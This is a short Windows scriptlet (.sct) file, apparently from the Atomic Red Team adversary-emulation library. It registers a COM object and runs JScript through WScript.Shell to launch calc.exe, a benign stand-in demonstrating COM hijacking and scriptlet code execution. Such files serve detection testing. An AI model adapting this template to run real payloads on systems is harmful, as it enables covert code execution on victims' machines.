atomic-red-team/Windows/Payloads/COMHijackScripts/AtomicRedTeam.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="AtomicRedTeam"
    progid="AtomicRedTeam"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
    remotable="true"
	>
	

	<script language="JScript">
	<![CDATA[

			var r = new ActiveXObject("WScript.Shell").Run("calc.exe");


	]]>
	</script>


</registration>

</scriptlet>